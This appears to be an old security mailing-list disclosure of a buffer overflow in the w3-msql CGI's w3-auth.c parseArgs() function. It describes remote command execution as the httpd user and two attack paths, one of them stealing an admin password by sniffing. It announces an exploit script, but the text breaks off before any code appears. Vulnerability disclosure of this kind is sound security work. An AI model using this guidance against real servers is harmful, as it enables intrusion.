                                            `hi,  
  
i was looking for an exploitable buffer overflow in w3-msql   
(from Hughes Technology) since there was many security flaws   
inside.  
There is a static variable named PrivateScript in main()   
function with a 255 chars size length.  
No luck ! main() finish everywhere with an exit() call.  
The http internal server error produced with a big URI   
string (about 260 chars) is the fact of the modification of   
environments pointers in the stack just behind the return   
adress and argvs pointers.  
So the syscall getenv() produce a signal 11.  
  
No mind ! just take a look now in w3-auth.c :)  
and more specially in parseArgs().  
  
there is a static array of 30 chars named "var" and the   
function exit with a return.  
this is ok !  
It 's now possible to force remotly w3-auth cgi-bin to   
execute everything with httpd user priviledge (and may be,   
to modify everything in the web server)  
However to exploit this hole, attacker has to be   
authenticated by the cgi (the web server has to set   
HTTP_AUTHORIZATION environment var).  
So there are two ways to use this exploit:  
  
1- the hacker is an official msql database admin but without   
httpd priviledge (naturally !)  
2- the hacker starts by sniffing the network segment, steals   
an admin password and modify remotly the web server.  
  
  
  
now the script (local version only, just the necessary time  
for Hughes to patch the source)
